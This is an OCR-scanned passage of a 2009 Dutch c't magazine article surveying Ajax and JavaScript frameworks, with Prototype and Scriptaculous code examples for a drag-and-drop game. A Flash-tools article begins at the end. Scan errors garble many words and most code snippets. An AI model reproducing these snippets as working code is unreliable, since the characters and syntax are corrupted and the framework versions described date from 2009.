sers zouden moeten werken. De frame¬ 
works die we hier noemen, zijn allemaal 
gratis als opensource software beschikbaar 
en kun je vinden via de softlink. 

Als het niet om de interface-effecten 
gaat, maar om een zo betrouwbaar mo- 
gelijk transport van de gegevens tussen 
de server en de interactieve website in de 
browser, dan heeft een server-side frame¬ 
work de voorkeur. Vaak heb je dan bij het 
ontwikkelen helemaal geen HTML of Java¬ 
Script nodig en kun je een programmeer- 
taal naar keuze nemen, zoals Java, PHP of 


.NET. Het framework geeft de HTTP-re- 
quests in het XMLHttpRequest-object door 
aan de database en stuurt de antwoorden 
naar de al gerenderde website - een combi- 
natie van server- en client-side dynamiek. 

Ajax, Sajax, Java 

Een redelijk eenvoudige instap in de we- 
reld van Ajax is mogelijk met bijvoorbeeld 
Sajax. Deze 'Simple Ajax Toolkit' is maar 
17 kB groot en bevat eenvoudige Ajax- 
oplossingen voor alle belangrijke (PHP, 
Perl, Python, Ruby, ColdFusion) en enkele 
obscure (lo, Lua) scripttalen. Het ontbreekt 
bij dit project aan fatsoenlijke documenta- 
tie, maar het is dan ook niet zo moeilijk te 
begrijpen. 

Het PHP-framework xajax zit minder een- 
voudig in elkaar. Met objectgeorienteerde 


PHP maak je JavaScript-methoden en kun 
je formulieren via Ajax laten versturen. De 
laagdrempeligheid maakt het voor begin- 
nende Ajax-programmeurs eenvoudig. 

Microsoft heeft zijn ASP.NET-produc- 
tielijn uitgebreid met Ajax-extensies. ASP. 
NET AJAX is onderdeel van .NET 3.5 en zit 
dan ook in Visual Studio 2008 en het gratis 
Visual Web Developer Express. Een alterna- 
tief is de kleine bibliotheek Ajax.NET. Deze 
bibliotheek neemt echter alleen de com- 
municatie met de server voor zijn rekening. 
Event-afhandeling en GUI-effecten moet je 
als ontwikkelaar dan op andere manieren 
programmeren. 

Voor grote webapplicaties is Java de 
meest gebruikte taal. Het is dan ook niet 
verwonderlijk dat er een groot aantal Ajax- 
frameworks op die taal zijn toegesneden. 
DWR (Direct Web Remoting) dient bijvoor- 
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Dojo heeft een groot aantal componenten en widgets waarmee ook complexe animates 
mogelijkzijn zoals bekend van Mac OS X. 


beeld als een soort afstandsbedlening voor 
serverside beans door Java Script-code in 
de browser. Ook kun je er typische Ajax- 
taken mee uitvoeren zoals het bewerken 
van adressen of het valideren van gebrut- 
kersmvoer. 

GWT doet ongeveer hetzelfde, maar de 
Google Web Toolkit genereert in tegenstel- 
ling tot DWR meteen complete applicaties 
Inclusief HTML Daardoor is dit krachtige 
framework erg populair geworden bij Java- 
ontwlkkelaars, ZK bewandelt een eigen 
weg, waarbij de ontwskkelaar de applica- 
tie in een opmaaktaal met de naam ZUML 
schrijft en daaruit client- en server-compo- 
nenten maakt. 

JavaScript++ 

Pure JavaScript-oplossingen, die geen bij- 
zondere servereisen stellen en browserln- 
eompatibiliteiten kunnen overbruggen, 
zijn populairder dan de genoemde alles-ln- 
een totaalpakketten. Achter de naam Ajax- 
frameworks gaan vaak omvangrijke open- 
source JavaScript-bibliotheken met veel 
makkelijke functies en interface-effecten 
schuil. Bovendien gebruiken ze program- 
meertechnieken van andere falen* Daar- 
mee wordt een aardige poging gedaan 
JavaScript te ontdoen van zijn imago van 
speelgoedtaal met een halfbakken object- 
orientatie. 

Een van de bekendste JavaScnpt-frame- 
works is Dojo. In principe bestaat versie 1.3 
van deze opensource bibliotheek uit een 
enkel script, dat 'gecompiieerd' (dus len¬ 
der commentaren en inspringingen) 80 kB 
groot is. Bijna iedere JavaScript-appiicatle 
kan zijn voordeel wel doen met het om¬ 
vangrijke aanbod aan hulpfuncties. Er zijn 
dan ook Ajax-componenten voor functies 
als drag&drop, anlmaties, invoervalidatie, 
stnngmanipulaties en datumberekenin- 
gen. 

Het is bekend dat in Ajax-applicaties 
de history van de browsers niet zo werkt 
als je zou denken. Dojo kan dit probleem 
omzeilen door de history met een simpele 
functieaanroep te manipuleren. Bij het 
schrijven van gegevens in de browser heeft 
Dojo met de hulp van Flash een veel gro- 
tere capaciteit dan met cookies* Met dojo. 
behavior, dat de beproefde syntaxis van 
CSS-selectoren interpreteert, krijg je u iter- 
mate makkeiijk toegang tot een of meer- 
dere HTML-elementen, 

Ervaren programmeurs zullen bijvoor- 
beeld de conversie van XML-bestanden 
naar JSON-formaat op waarde kunnen 
schatten - de JavaScript Object Notation 
Is compacter dan XML en is door cllent- 
scripts makkeiijk te verwerken. Gelukkig 
Is Dojo niet al te opdringerig: alle hier ge¬ 
noemde functies zijn allemaal te bereiken 
via het object dojo. 

Het complete Dojo-pakket bevat nog 
veel meer. De Dojo-ontwikkelaars noemen 
hun verzamellng van kant-en-klare widgets 
Dijit f . Dat zijn kleine bedieningselemen- 


ten en eenvoudige mini-applicaties, zoals 
sehuffregelaars, agenda's, voortgangsbal- 
ken, kleurkiezers, chique formulierelemen- 
ten en zeifs een complete WYSIWYG-editor. 
Ook bij CSS-problemen met lay-outs kan 
Dojo/Dijit helpen. 

Een ander deei uit deze goocheldoos 
heet DojoX [Dojo extensions). Dit bestaat 
uit deeis nog in de testfase verkerende ex- 
tensies van andere ontwikkelaars* De on¬ 
line getoonde DojoX-demos verkennen de 
grenzen van de JavaScript-mogeiijkheden: 
sorteerbare databasetabelfen, diagram- 
men, veetorafbeeldmgen in verschillende 
formaten (SVG, VML, Silverlight), 3D-anima- 
ties en syntax-highlighting voor program- 
meercode. 

Bibliotheken 

Veel van de andere JavaScript-frameworks 
die concurreren met Dojo hebben hun 
roots bij commerciele aanbieders, maar 
staan wel onder een opensourcelicentie 
ter beschikking. Spry is daar een voorbeeld 
van. Adobe levert dat als onderdeel van 
Dreamweaver mee, maar je kunt het ook 
zonder deze webeditor gebruiken* Spry 
heeft een aantal effecten en widgets, maar 
doet het vooral goed door zijn omgangs- 
mogetijkheden met bestanden die op XML, 
JSON of XPath gebaseerd zijn* 

De ontwikkelaars van Yahoo! hebben 
met YU I een omvangrijke gereedschaps- 
set voor webapplfcatieontwikkelaars in het 
leven geroepen. De Yahoo! User Interface 
Library bekommert zich naast een groot 
aantal andere dingen ook om complexe 
paginalay-outs, de browserhistory, het 
naladen van componenten, diagrammen, 
datatabellen - en zo'n beetje alle andere 
denkbare JavaScript- en CSS-problemen. 
Het opensource project qooxdoo heeft 
een vergelijkbaar uitgangspunt, maar meet 
zich meer aan grafische toolkits als Qt dan 
a a n p u re J a va Seri pt-fra me wo r ks* 

jQuery markeert het andere einde van 
het spectrum. De op dit moment actuele 
versie 1.3*2 is niet meer dan een 56 kB groot 
JavaScript-bestand. Net als Dojo simufeert 
jQuery CSS-selectors en kunnen in een en- 
kele opdracht meerdere acties aan elkaar 
geregen worden. jQuery doet het zonder 
widgets en beperkt zich tot een aantal een- 
voudige effecten, maar heeft als tool voor 
documentmanipulatie zeker pluspunten* 


Ook van MooTools is er een compleet pa k- 
ket in een bestand {95 kB). Je kunt je eigen 
script samenstellen uit de diverse compo¬ 
nenten en daarmee overbodige code weg- 
laten. MooTools heeft ook codeaanvulling 
voor de HAS-syntaxis, Ajax-hulpmiddelen 
en effecten. Een bijzonderheid zijn de kfas- 
sen voor objectgeoriemeerd programme- 
ren. 

Ook Ext heeft een eigen builder. Het kan 
zelfstandig werken of dienen als uitbrei- 
ding voor YUI, jQuery en Prototype. Ext Is 
een van de meest omvangrijke frameworks 
en blinkt vooral uit in de widgets, die als 
bouwonderdelen voor complexe web- en 
AJR-appllcaties (lokaal geinstalleerde Flash- 
programma's) kunnen dienen. 

Prototype 

Ondanks de sterke concurrence is Sam 
Stephensons Prototype nog steeds een 
van de meest gebruikte JavaScript-frame¬ 
works. Ook dit framework bestaat maar uit 
een bestand, dat tnmiddels is aangegroeid 
tot zo r n 127 kB - al is dat wel zonder com- 
pressie, Protoype heeft de gebruikelijke 
Ajax-tools en middelen voor het omgaan 
met de documentopbouw. 

Maar deze bibliotheek gaat nog een laag 
verder: Prototype vergroot de mogelijkhe- 
den van JavaScript met bijvoorbeeld nieu- 
we functies voor strings en arrays en maakt 
objectorientatle veiliger* Daarbij wordt 
deeis gekeken naar de programmeertaal 
Ruby - reden waarom deze JavaScript- 
bibliotheek bekend Is geworden als onder- 
deel van het succesvolle framework voor 
webapplicaties Ruby on Rails. 

Omdat Prototype net als jQuery zelf geen 
knlpperende lichtjes op een website zet, is 
het goed te combineren met pure effectver- 
zamelingen als de miniblbliotheek moo*fx, 
die er ook als onderdeel van MooTools is. 
Het duidelijk omvangrijkere Rico vergemak- 
kelijkt het inbouwen van Ajax-gegevens 
in de documenten en heeft effecten als 
drag&drop, animates, afgeronde hoeken 
en openklappende 'trekharmonicaV. 

Bekender is echter Thomas Fuchs' 
Scriptaculous, dat een veelvoud aan ef¬ 
fecten heeft en net als Prototype onderdeel 
van Ruby on Rails is. De Scriptaculous- 
download heeft Prototype al in zich. De 
enorme mogelijkheden van dit framework- 
duo zullen we wat specifieker bekijken. 
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sort ablefloats demo 



Java Seri pt-puzzle: scriptaculo.us is gebaseerd op Prototype en kent geweldige drag&drop- 
effecten. 


Elementair 

Voor het installeren van Prototype - als je 
dat zo zou willen noemen tenminste - is het 
voidoende om het script bestand prototype, 
js op de Webserver of in een lokale map te 
zetten en dit met het gebruikelijke comman¬ 
do aan te roepeni 

< script ty pe="text/ja vaseript 11 src='" pad/pmtotype.js "> 
</script> 

De bekendste en meest gebruikte functie in 
Prototype is de dollar functie SO- Dat is een 
handige afkorting voor de DOM-functie docu- 
mentgetEiementByID(), waarmee je als ontwikke- 
laar hij het website-element met het betref- 
fende id-attribuut kunt komen, 

Behalve zijn beknoptheid heeft $(] nog 
twee voordelen: het accepteert niet alleen 
de ID-waarde, maar ook het elementob- 
ject zelf- een welkome tegemoetkoming 
aan de luiheid van programmers, En nog 
beter: de dollarfunctie leest ook een lijst 
van argumenten in en kan daarmee hele 
groepen van HTML-elementen tegelijk pak- 
ken. 

De functie $$() is nog veelzijdiger. Als argu¬ 
ment geef je een CSS-setector mee, waarna 
je de bijbehorende elementen terugkrijgt 
- net als bijvoorbeeld jQuery en Dojo dat 
doea Neem het voorbeeld dat leder element 
van de votgende lijst bij het aanklikken zijn 
inhoud in een alert moet schrijven: 

<uL id="Lijstje 4P > 

<li>een</li> 

<li>twee<Ai> 

<M> 

De normale methode is dan leder lijstele- 
ment een event handler ondick meegeven, 
oftewel: 

< Li oncllck-'javascri pt:aLert(thi s.firstthl Id node Va lue)" >7 

een</Li> 

Daarbij heeft this betrekking op het <li>-ele- 
ment, firstChild op het kind daarvan, de tekst 
met de inhoud (nodeValue) ’een' Deze schrljf- 
wijze mengt de documentstructuur met het 
prog ram meren, wat bij complexere voor¬ 
beeld als snel onoverzichtelijk word! Boven- 
dien moet je het script voor ieder element 
van de lijst opnieuw invoegen. 

Zonder JavaStript-bibfiotheek zou een 
oplossing er zo uit kunnen zien: 

window .on load = function () J 

var ul = docu ment.get ELe mentByld (' lljstje r ); 
for (i- 0 ; i < til .child N odes. Le ngth; [++) { 
kind = uL.ch!LdNades[i]; 
if (kind.nodeType —= 1 && kind.nodeName 7 

= IT) 1 

kind .ondick = function () { 
a Lert [th is.f irstCh i Id, nodeVatue); 

1; 

} 

) 

} 


Na het laden van de pagina (maar het script 
zou in het document ook onder de lijst kun¬ 
nen staan) doorzoekt een anonieme func¬ 
tie de documentboom naar het element 
met de !D lijstje, Met een for-loop verzamel 
je de kindelementen, waarbij echter aileen 
HTML-elementen (nodeType gelijk aan 1) met 
de naam 'Ll' (groot geschreven) mteressant 
zijn. Voor die elementen wordt een anonte- 
me functie met de alert geregistreerd die 
op een click-event reageert. 

Dat ziet er wat omslaohtig uit - en dat is 
het tijdens het programmeren ook. Met $$() 
gaat dat een stuk makkelijker: 

Event, observe (window, load', function!) ( 

$$['#Lijstje Li').each(function(el) 1 
Event .observe (el, ’click', functionf) { 
alert (this.firstChild. node Va l ue); 

}); 

)); 

}); 

Net als bij de pure JavaScript-varianten 
bewaakt het script het laden van de docu¬ 
mentboom en het klikken op de afzonder- 
lijke lijstelementen, Beiden worden gedaan 
doorde Prototype-functie Event.observeQ. Het 
grootste voordeel ten opzichte van de stan- 
daard event-afhandeling: als de program- 
meur hetzelfde event nog een keer aan 
hetzelfde element toekent, voert Prototype 


beide event-handlers uit in plaats van de 
oudere door de me u were te vervangen. 

De opdracht $$('#lijstje It') verzamelt alle 
bij de CSS-selector horende elementen in 
een array, Daarbij zou je naar goed gebruik 
een for-loop kunnen doorlopen, maar een 
iteratie-functie is veef mooier, 

Herhaling 

Het concept van iterate re n in Prototype komt 
van Ruby. Ook In JavaScript is er sinds versie 
1 ,5 met de constructs for {[eigenschap]) in [object]) 
een aanzet in die richting. In JavaScript 1.7, 
dat geintroduceerd werd met Fi refox 2, is dat 
in de vorm van een iterator-object verder uit- 
gebouwd, 

De eenvoudigste Prototype-functie om 
een iterator aan een array te koppelen, is array. 
each(function) - wat op zfch niets anders doet 
dan ftmctieO aanroepen met leder array-ele¬ 
ment als argument. 

Iteratoren werken niet met lijsten of objec¬ 
ted Dat probleem wordt opgelost door de 
functie SAQ: 

var Lis - document.getEUmentsByTagName( li'); 

$ A( Lis) .each (doelets); 
function doelets(li) 

De DOM-functie getElementsByTagNameO geeft 
geen array terug, maar een eenvoudige lijst 
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van elementen. Pas na de converge staan de 
krachtige methoden en eigenschappen van 
arrays ter beschikking. Dat zou analoog aan 
het vorige voorbeeld natuurlijk makkelyker 
kunnen met $$('li').eath(doeIets);, 

Een mooie methode om arrays te maken, 
is $w(K die een string opdeelt bij de spaties: 

var opdelen = $w( 1r een twee drie' 1 ); 

Iteratoren zijn niet alleen op arrays, maar ook 
op hashes en ranges toe te passen - twee 
taalconstructies die JavaScript niet heeft. 
Hashes {ook we I bekend als associative ar¬ 
rays) worden door $H() gemaakt uit arrays of 
objeoten: 

var ob] = {el; 'waarde T, e2: waarde2 }; 

$H (o bj), keys [) .each (function (el) { 
atertfel + ' => 1 + $H(obj).get(eL)); 

»; 

Daarbij leest keys() alle sleutels uit de hash 
$H{obj) en haalt getQ de waarde bij een hash- 
sleutel, zodat het script als resultaat h e1 => 
waarde V et cetera oplevert. Een vergelijk- 
baar resultaat zou overigens ook alert($H(obj). 
inspect!)); opgeleverd hebben: de bij het debug* 
gen hand!ge functie inspect!) maakt van allerfei 
soorten objecten een kant-en-klare string. 

Een met $R() beschreven range-object is 
nog handiger. Daarmee leg je een bereik met 
een begin- en emdwaarde vast; 

$R{ 1,5) .each (d oelets); 

Net als bijvoorbeeld in Perl foreach{T.5) roept 
deze regel vijfmaal de functie doeletsQ op met 
ledere keer het voigende nummer als argu¬ 
ment. Dat is korter en dus minder foutgevoe- 
lig dan het gebruikelijke for (i=1; i<=5; i++). 
Bij strings moet je wel enige voorzichtigheid 
in acht nemen, omdat er tussen ’ab 1 en 'be 1 
dankzij Unicode 65.000 combinaties zitten. 
Daar zat de browser wel een tijdje zoet mee 
zijn. 

Naladen 

Het handmatig programmeren van Ajax- 
verbindingen is weliswaar geen heksentoer, 
maar door de browserincompatibiliteiten op 
defailniveau wel lastig. Het Ajax.Request-object 
van Prototype is eenvoudtger: 

new Ajax. Req uestf data .xml 1 , { 
method: ‘post 1 , 
postBody: soapaanvraag, 
ontomplete: function(req) {4 

)); 

Het Ajax-request-object heeft twee argumen- 
ten: de url en een object met parameters, 
method bepaalt de HTTP-methode. De HTTP- 
body van een PQST-bericht (in bijvoorbeeld 
een stringvariabele met een soap-request) 
staat daarbij in postBody. Extra url-parameters 
in de vorm van veld1=waarde1&vetd2=waarde2 
komen dan in de parameters te staan - of ge- 
woon in de url. 


Prototype-test 

m een 



Met Prototype kun je informatie uit de 
documentstructuur er veeJ makkeMjker uit 
haien dan met JavaScripts DOM-functfes, 

iedere fase van de Ajax-communicatie roept 
een event-handler op, eindigend met onCom- 
ptete. Het alternatief onSocces heeft als extra 
de HTTP-statuscode 200 nodig, anders re- 
ageert onFailure, Ze geven ailemaal het Ajax, 
Request-object door aan een functie. 

Als de opgevraagde content verder niet 
verwerkt hoe ft te worden, dan kan het met 
Ajax.Updater zelfs nog wat sneller. Dit object 
vervangt namelijk de inhoud van een door 
het id-attribuut gespecificeerd element door 
deontvangen data: 

new Ajax.UpdaterCinfo', 'info m‘, optics); 

Ajax.Updater is alleen zinvol te gebruiken als 
de opgevraagde gegevens geen nog te 
bewerken XML zijn, maar HTML of platte 
tekst Of als de gegevens in de JavaScript 
Object Notation (JSONJ beschikbaar zijn. In 
dat geval kun je Ajax,Updater net als Ajax.Request 
meteen verwerken als de optie evalScripts op 


true is gezet. Natuurlijk geldt voor Prototy¬ 
pe-Ajax ook de beveiJjgingsinperking dat 
scripts alleen databronnen van dezelfde 
server mogen aanspreken. 

Versnelde weergave 

De mogelijkheden van Prototype die we 
hier hebben laten zien, zijn slechts een klein 
dee! van wat de krachtige scripts kunnen. 
Voordat we Scriptaculous onze website 
laten inkleuren, bekijken we nog een paar 
andere kenmerken van de bibliotheek. 

Zo verwijdert bijvoorbeeld String.stripTags!) 
de HTML-tags uit een string, terwijl 5tring.es- 
capeHTMLO de spitse haken omzet in &gt; en 
&lt;. Er zijn een groot aantal array-metho- 
den. Array.uniqO verwijdert bijvoorbeeld dou- 
bfures. Om een array te doorzoeken, kun je 
die het beste combineren met een tterator- 
functie als find!) of grep() T Net als bij MooTools 
kun je met Class.create(} zelfs zoiets als object- 
klassen maken. 

Ook al verhelpt Prototype de meeste 
browserincompatibiliteiten, je zult vaak 
toch meerdere codevarianten moeten uit- 
proberen, die tot een crash kunnen leiden, 
JavaScript vangtdat af met een gelaagde try 
... catch-constructie. Prototype test met Try. 
thesef) meerdere functies in een keer. 

Bij het verwerken van formulieren helpt 
onder andere $F(id), dat de waarde van het 
invoerveld met het attribuut id levert. Proto¬ 
type maakt het doorploegen van de DOM- 
boom een stuk makkelijker, bijvoorbeeld 
met HementupIL Met ELement.toggLeO kun je een 



Animaties dienen in Ajax-applicaties niet alleen ter verfraaiing, maar kunnen ook bijdra- 
gen aan een intuitieve bediening. 


c x t special 1/2009 - Webdesign 


85 

























































Ajax | Frameworks 



Geen Windows, geen Mac, maar Ext. De krachtige widgets van d it JavaScript-framework 
maken het n a bo u wen van een complete desktop mogeiijk. 


element makkelijk (on)zichtbaar maken. De 
bibllotheek kan ook de positie van een ele¬ 
ment achterhalen en daar met Element.scroll- 
To{] het venster naar laten bewegen. 

Scriptaculair 

Prototype beperkt zich tot een enkel script- 
bestand, de Scriplaculous-ontwikkelaar 
moet tot zeven bestanden (plus Prototype) 
op de server zetten. Deze staan als zip-ar- 
chief samen met unittest.js, dat in de pro- 
ductieomgeving niet nodig is. in de map 
src. Je hoeft alleen maar te linken naar pro¬ 
totype^ en scriptaculous.js, die roepen zelf 
de overige zes bestanden op. Op die manier 
blijven de niet gebruikte delen van Scripta¬ 
culous buiten schot, wat handig is voor de 
laad- en verwerkingstijd van een website, 
zeker op oudere computers. 

Het bekendste en zichtbaarste deel van 
Scriptaculous zijn de interface-effecten (ef- 
fects.js), die het weergeven van animaties 
moeiteloos mogeiijk maken: 

new Effectsighlightflnfokader 1 , (duration: Z}); 

Daarmee licht het element metde ID infokader 
twee second en op. Dat lijkt een leuk speel- 
tje r maar is meer dan dat: bij Ajax-appltcaties 
krijg je door de korte wachttijden vaak niet 
mee dat informatie geactuaJiseerd is. 

Scriptaculous kent nog vijf andere basis- 
effecten, die op vergelijkbare wijze gebruikt 
worden: verplaatsen (MoveBy), schalen (Scale), 
transparantie (Opacity), animaties met start¬ 
er* eindpunt (Tween en Morph) en als laatste 


het parallel uitvoeren van effecten (Paral¬ 
lel). Uit deze effecten zijn de verschillende 
in- en uitzoom effecten samen te stellen die 
je op veel Soriptaculous-websites kunt be- 
wonderen. 

Schuifregelaars moeten in HTML5 hun 
doorbraak maken, maar met Control.Slider 
(sliderjs} zijn ze nu a\ te gebruiken. Sound 
(sourid.js) maakt het mogeiijk gelitid in je 
website in te bouwen. 

Om met de stand a a rdmetho den create Ele¬ 
ment [], create Attribute () en createTextNodeQ script- 
gewijs je HTML op te bouwen, is geen pretje, 
Dat kan makkelijker met Builder.nodeO (builder, 
js), die qua functie meer in Prototype dan in 
Scriptaculous lijkt te horen: 

kader = BuiLder.nodeCp', {id: 'info'}, 'Nieuw bericht'); 

Deze functie accepteert als laatste argument 
child-nodes [bier een text-node). Op die ma¬ 
nier kun je complexe constructies maken, 
die je vervolgens zoals gewoonlijk met ap- 
pendChildQ of insert Before)) in dedocumentboom 
hangt. 

Controle 

De deelbibliotheek controls.js heeft twee 
interfaces, waarmee het Invoeren van ge- 
gevens in Ajax aanzienlijk makkelijker gaat. 
Ajax.Autoccmpleter biedt een oplossing voor 
het veelvoorkomende probleem dat je de 
gebruiker vrije tekstlnvoer aanbiedt, maar 
tegelijkertijd ook een lijst van gegevens 
waar hij uit kan kiezen. De syntaxis lijkt op 
Prototypes Ajax.Updater: 


new Ajax. Au toco m pleterf 'land', 'selectie', Ian den lijst. 7 

html', opties); 

In vergelijking met Ajax.Updater is er m het 
begin een extra argument tussengeslopen: 
de id van het tekstinvoerveld. Als de gebrui¬ 
ker daar wat mtypt, haalt Scriptaculous via 
Ajax het bestand landenlijst.html op en 
schrijft het de inhoud daarvan - In het ide- 
ale geval een CSS-geformateerde <ul>-lijst 
- in de tot dan toe onzichtbare container se- 
lectie. Bij verdere invoer wordt het aantal te 
ktezen elementen gereduceerd tot wat nog 
bij de invoer past. Als je dan op een van de 
overgebleven elementen klikt, wordt de 
waarde daarvan in het invoer veld gezet. 

Dat kan ook zonder Ajax - Aulocompleter. 
Local haalt de gegevens uit een lijst of een 
array en loopt daarmee ook voor op een 
vernleuwing in HTML 5: 

var Landenlijst = ['Togo', 'Japan - , Tuba]; 

new Au t ocom pleter. Loca l ('la nd' H 'seLectie 1 , lan den lijst, 7 

opties): 

Bij Ajax.InPlaceEditor gaan de data in geheel 
andere nchting. Geheel in lijn met het 
'maakbare web' maakt deze control van 
een tekstelement een dynamische mini- 
editor: 

new Ajax.InPlaceEditorCbewerkbaar’, opslaan.html ); 

Als de gebruiker op een HTML-element als 
<p id-' , bewerkbaar , '>dummy</p> klikt, dan wordt 
dat een invoerveld met de tekst dummy'. 
Daarnaast verschijnt dan een knop voor 
het versturen en een 'cancel'-link voor het 
ongedaan maken. Na een kiik op 'OK' ver- 
stuurt Scriptaculous de veranderde tekst in 
UTF 8 via HTTP-POST naar opslaan.html. Het 
invoerveld verandert in de tekst 'Saving . 
en na een succesvol serve rantwoord ver¬ 
schijnt de servermelding op dezelfde plek. 

De meldingen (’Saving 'cancel 1 en 
dergelijke) zijn bij de opties aan te passen, 



Gecombineerde invoer- en selectievelden: 
na het invoeren van tekst laadt Scriptaculous 
via Ajax data in, filtert de juiste data eruit en 
laat die zien om uit te kiezen. 
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Click me, dick^me* 

|T estlext) ^ |^^ok^ Jcar»ce : i 

Saving,,, 

k 


Beschrijfbaar web: Scriptaculous bewerkt 
tekst in een mini-editor, die de gegevens 
via Ajax weer opslaat* 


drag&diop-spel 


Amsterdam l^gt in Nederland - punt I 


Landen 


Steden 




Fraoknjk 

London 

Greet Britannic 

New York 

tTSA 

Panjs 


\ punt 


Dankzij Prototype en Scriptaculous is 
minder dan twee kB aan programmacode 
genoeg voor het prog ram meren van een 
klein spel inclusief wat effected 

daar kun je ook meerregelige invoervef- 
den instellen. Voor selectielijsten (<seiect>- 
menu's) is er het gerelateerde object Ajax. 
In Placetgliecti on Editor. 

Laat maar vallen 

Als iaatste maakt ook dragdropjs de in¬ 
teracts met de website voor de gebruiker 
makkelijker, De geliefde drag&drop-inter- 
face is handmatig moeilljk te prog ram me¬ 
ren, maar met Scriptaculous zijn een paar 
regels genoeg. Via de softlink vind je een 
voorbeeld van een klein spel dat bier ge- 
bruik van maakt. 

Je moet de namen van steden naar de 
bijbehorende landen slepen. In de HTML- 
code staan de gegevens in twee lijsten, 
waarbij ieder item een eigen id-attribuut 
heeft. Boven en onder de Mjsten staan 
placeholders voor de stand en andere mel- 
dingen. 

De oplossing staat in de vorm van een 
naar een hash geconverteerd object met- 
een aan het begin van het script: 

var land_5tad = $H({USA: W , N: A 1 , 

Na het laden van de pagina geeft een 
event-handler het woord aan de functie 
inh{};. Die registreert de steden als sleepbaar 
en de landen als doelen. 

$$('#siedenUjst U ) each(functlonCdragobj) f 
new Draggable(dragobj, {revert: true}); 

E Le me nt.a dd CLa ss N ame (d rago b)^ ’drag g a b te'); 

a? 


De selector-functie $$() pakt iedere stad 
apart, waarna new OraggabLeQ daar een drag- 
object van maakt De revert-optle zorgt er- 
voor dat de steden na het loslaten weer op 
hun uitgangspositie terugkomen. 

Om ervoor te zorgen dat de gebruiker 
herkent dat htj de steden kan bewegen, 
krijgen die de CSS-klasse draggable toege- 
kend, die de muis met de eigenschap cursor: 
pointer aanpast. De Prototype-syntaxis werkt 
in tegenstelling tot de DOM-functie dragobj. 
setAttributefclass 1 , 'draggable') ook in Internet Ex¬ 
plorer. 

Deel twee van de init()-functie zorgt voor 
de landen: 

$$( r #landenUjst li').each(fundion(dropobj) { 
Droppabies,add(dropobj, { 
onDrop: function{dragobj) { 

if (land_stadEdropobj.ldl = dragobjJd) { 
${'instruaie 1 ).update{'een punt!'}; 
score! 1); 

} else { 

St'instruetie'J.updateCneel 1 ); 

score(-l); 

1 

}, 

hoverdass: benadrukken* 

}); 

}); 

De functie Droppables.addO maakt van ieder 
land een drop-locatie voor drag-objecten. 
Daarbtj zijn twee opties gezet: de event- 
handler onDrop, die actief word! na het los- 
laten van een draggable boven een drop¬ 
pable, en de eigenschap boverdass, die met 
een CSS-klasse het land inkleurt als daar 
een stad bovenhangt 

De anonieme onDrop-functie bevat bo- 
vendien de spelloglca: in de hash land_stad 
wordt gecontroleerd of het drag- en drop- 
object bij elkaar horen. Het resultaat van 
deze test wordt door de Prototype-functie 
updated in de tekstcontainer instruct!? ge- 
schreven. Vervolgens past de functie scored 
afhankefijk van het resultaat het aantal 
punten aan. 

Knipperlichten 

Om er zeker van te zijn dat de gebruiker 
het (nieuwe) resultaat ook opmerkt, geeft 
de volgende regel de score twee seconden 
een kleur: 

new EffectHighLightCpunten', (duration: 2}); 

Bij plus of min vier punten is het einde 
verhaat. De functie exit{) beeindigt het spel 
en afhankelijk van het resultaat verschijnt 
er dan een tekst in de tekstcontainer in¬ 
structie. Dat wordt begeletd met een klein 
vuurwerkeffectje door een iterator: 

var optle = {duration: 2); 

$R(1, 5),each(function() 

new Effect,HighLightCinstructie 1 , optle); 
optle.queue - 'end'; 

i); 


Net range-object $R{) laat de iterator vijf 
keer herhalen. Bij iedere doorloop licht 
instructie twee seconden lang op. De queue- 
eigenschap zorgt ervoor dat de vijf High- 
light-effecten na elkaar ptaatsvmden en 
met gelijktijdig. Die wordt pas actief na de 
eerste doorloop, want anders zou de mel¬ 
ding rustig blijven wachten tot de door de 
Iaatste drag&drop-actie geactiveerde pun 
ten ktaaris met knipperen. 

$$C#landenUjst li').each(function{dropobj) ( 

Dmppablesjemove(dropobj); 

}}; 

$$f'#stedlenUjst ir),each{funcricm(dragQi>j) { 

dragobj. element, re move Attn byte (‘class'); 

dragobj. destroy!); 

J); 

Om de speler onmiskenbaar duidelijk te 
maken dat het game-over is, beeindigen 
Droppables.remove() en dragobj desiroyO de inter- 
activiteit De elementen die bij de drag- 
objecten horen, verliezen hun specifreke 
CSS-klasse ook. 

Conclusie 

Als je eenmaal een JavaScript-framework 
gebruikt hebt, kun je je moeilijk nog voor- 
stellen dat je vrijwiltig naar de omslachtige 
DOM-functies teruggrijpt of zonder zo'n 
framework browseronafhankelijke Ajax- 
requests gaat maken. Het uitbreiden van 
de JavaScript-basis met hashes, range-ob- 
jecten, iteratoren en nog veet meer, wordt 
vooral door ervaren programmers op 
waarde gesthat. 

Effectblbllotheken als Scriptaculous 
hebben echter ook hef gevaar dat de 
ontwikkelaar zijn doel voorbijschiet, De 
animaties en toeters en bellen die er mee 
mogelijk zijn, moet je niet zonder reden 
toepassen. De langere laad- en verwer- 
kingstijd is dan een hoge prijs. Bovendien 
kunnen gebruikers met oudere browsers 
of uitgeschakeld JavaScript, of mobiele 
surfers daar geen gebruik van maken. 

Met Scriptaculous kun je meer doen 
dan er alleen een kakelbont geheel van 
maken. Op eenvoudige wijze kun je er een 
website interactief mee maken zoals pro- 
g ram m a-interfaces, voeg je bewerkbare 
tekstvelden toe, maak je gecombineerde 
invoer- en selectievelden, schuifregelaars 
en een drag&drop-bediening, Scriptacu¬ 
lous is leuk om mee te werken, omdat met 
weinig moeite spectaculaire effecten mo¬ 
gelijk zijn. 

Dat geldt ook voor de andere Java- 
Script-frameworks, van jQuery en Dojo tot 
YUL Een aantal daar van heeft ook een aar- 
dig assortiment aan kant-en-klare appli- 
caties, Daarmee is een programmeerstijl 
mogelijk waar zelfs strenge Java-ontwik- 
kelaars niets tegenin te brengen hebben. 

(nkr) 

4 Softlink 09WD082 c't 


c r t special 1 /2009 - Webdesign 


87 


















Sascha Wolter 

Flash-tools 

Appficaties ontwikkelen voor Flash Player 

Ondanks hardnekkige vooroordelen is het Flash-formaat niet alleen geschikt 
om een site grafisch aan te kleden, maar kun je het ook gebruiken voor het ont¬ 
wikkelen van complete professfonele wehtoepassingen, Daarvoor heb je echter 
niet per se Adobes Flash-authoringtooi nodig, 

Het traditignele geTeedschap osti Flash- ver.-m dat g&val kuh je beter vooi code geba- 
toepasslngen mee te maken is Adobe Flash, seerde ontwikkelorngevingen kiezen, zoais 
Door hierin verschiflende medlatypen te Flex Builder of FDT. Ook deopensourcescene 
combine re n met Interactieve en dynamise he beeft Flash-tools voor bijzondere taken* 
elementen kun Je ook als beginner zoge- 
naamde ‘Rich Internet Applications' ontwik- flash CS4 
kefen. 

